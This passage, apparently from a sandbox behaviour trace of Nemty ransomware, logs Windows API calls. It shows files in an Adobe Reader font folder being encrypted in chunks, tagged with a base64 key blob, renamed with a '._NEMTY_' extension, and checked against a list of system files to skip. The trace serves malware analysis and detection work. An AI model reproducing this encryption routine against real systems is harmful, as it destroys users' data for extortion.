Size=0xb0) returned 0x4f94220 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0194.729] Sleep (dwMilliseconds=0x5) [0194.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27b770d0, dwHighDateTime=0x1d561e8)) [0194.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27b770d0, dwHighDateTime=0x1d561e8)) [0194.733] GetLastError () returned 0x0 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.733] GetLastError () returned 0x0 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="o5E1R9kjLEGIrY0p/Eu51TlOzZK4eAp3Z+qEvxcD71GkZ+MhPsPL0H+qgOmdI8W4\r\n592Hhx3P1aTUYpRAzucrhD6CBmZk0SnF9sditdp3E2OF2XM+a4d92OIAqSQJmhVJ\r\nz3R3QywU84+GBooN3THiEFwiPu2E+XYoFhEAnmb63CYZsPkaq/XmRnfutlbYbbbn\r\nMfYfqA6p5kzZt3e9SAX3n7rjLaz6UF21xaOCXfE3oTw2W87xiTmb8ulcyzRSh8Y+\r\nVtZsadM4hV+CHPKIqpd9N2jsoJgIJUDe+PztlwtQFcfmQrpuQ4HrR7HiaCfJazWj\r\nAV3N0tGm403MNcTZRwWbhw==\r\n", pcchString=0x653e91c) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.734] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=4101108) returned 1 [0194.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0194.734] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.734] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.743] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.743] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.744] SetFilePointer (in: hFile=0x254, lDistanceToMove=4101108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e93f4 [0194.744] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.746] CloseHandle (hObject=0x254) returned 1 [0194.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.747] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf._nemty_kgobjgd_")) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.748] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="ADOBES~1.OTF")) returned 1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2=".") returned 1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="..") returned 1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="...") returned 1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="windows") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="rsa") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="NTDETECT.COM") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="ntldr") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="MSDOS.SYS") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="IO.SYS") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="boot.ini") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="boot.ini") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="ntuser.dat") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="desktop.ini") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="CONFIG.SYS") returned -1 [0194.748] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="RECYCLER") returned -1 [0194.749] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.749] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="bootmgr") returned -1 [0194.749] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="programdata") returned -1 [0194.749] lstrcmpiW (lpString1="AdobeSongStd-Light.otf", lpString2="appdata") returned -1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSongStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSongStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSongStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSongStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0194.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94220 [0194.749] Sleep (dwMilliseconds=0x5) [0194.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27bc3390, dwHighDateTime=0x1d561e8)) [0194.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27bc3390, dwHighDateTime=0x1d561e8)) [0194.771] GetLastError () returned 0x0 [0194.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.771] GetLastError () returned 0x0 [0194.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.771] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.771] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.772] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.772] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="FS9wX5062VKz8Vt/HzxxjMp41riyxzcN84JFk49Zse/xBTAbhUaOBMidASRivKy8\r\nPReb+nveZ6Dt53wv6aiCwAU+8DWDRbjciDBfywqyEyVdeJ946FhKu1CBb+IhqXkA\r\n86OltcpoisHlH+C75hfERP3BacG8lUqqKEH47Y5hNoYBkQEcRW5vWgUb7mc9i4xT\r\nfg0vLYpBc1fXAm9PvjTdMuO9UokD58I0zk2+I0hi5GEUNXQHbFldHdpK0YKCSfMP\r\n74BiyUvEn40o2V1rPqJHTSQwciDYUFgf8N/wZsVUIYxrPnw6bJepCpf3UUrIaUWj\r\ngdfZQCv7XgFv3NqGIU2SeA==\r\n", pcchString=0x653e91c) returned 1 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.772] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=15586660) returned 1 [0194.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0194.772] SetFilePointer (in: hFile=0x254, lDistanceToMove=6193330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80b2 [0194.772] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.794] SetFilePointer (in: hFile=0x254, lDistanceToMove=6193330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80b2 [0194.794] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.795] SetFilePointer (in: hFile=0x254, lDistanceToMove=6353330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f1b2 [0194.795] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.806] SetFilePointer (in: hFile=0x254, lDistanceToMove=6353330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f1b2 [0194.807] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.807] SetFilePointer (in: hFile=0x254, lDistanceToMove=6513330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6362b2 [0194.807] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.823] SetFilePointer (in: hFile=0x254, lDistanceToMove=6513330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6362b2 [0194.823] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.824] SetFilePointer (in: hFile=0x254, lDistanceToMove=6673330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x65d3b2 [0194.824] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.836] SetFilePointer (in: hFile=0x254, lDistanceToMove=6673330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x65d3b2 [0194.836] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.836] SetFilePointer (in: hFile=0x254, lDistanceToMove=6833330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6844b2 [0194.836] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.849] SetFilePointer (in: hFile=0x254, lDistanceToMove=6833330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6844b2 [0194.849] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.849] SetFilePointer (in: hFile=0x254, lDistanceToMove=6993330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab5b2 [0194.849] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.862] SetFilePointer (in: hFile=0x254, lDistanceToMove=6993330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ab5b2 [0194.862] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.863] SetFilePointer (in: hFile=0x254, lDistanceToMove=7153330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d26b2 [0194.863] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.873] SetFilePointer (in: hFile=0x254, lDistanceToMove=7153330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d26b2 [0194.873] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.873] SetFilePointer (in: hFile=0x254, lDistanceToMove=7313330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f97b2 [0194.873] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.897] SetFilePointer (in: hFile=0x254, lDistanceToMove=7313330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f97b2 [0194.897] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.898] SetFilePointer (in: hFile=0x254, lDistanceToMove=7473330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7208b2 [0194.898] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.908] SetFilePointer (in: hFile=0x254, lDistanceToMove=7473330, lpDistanceToMoveHigh=0x0, 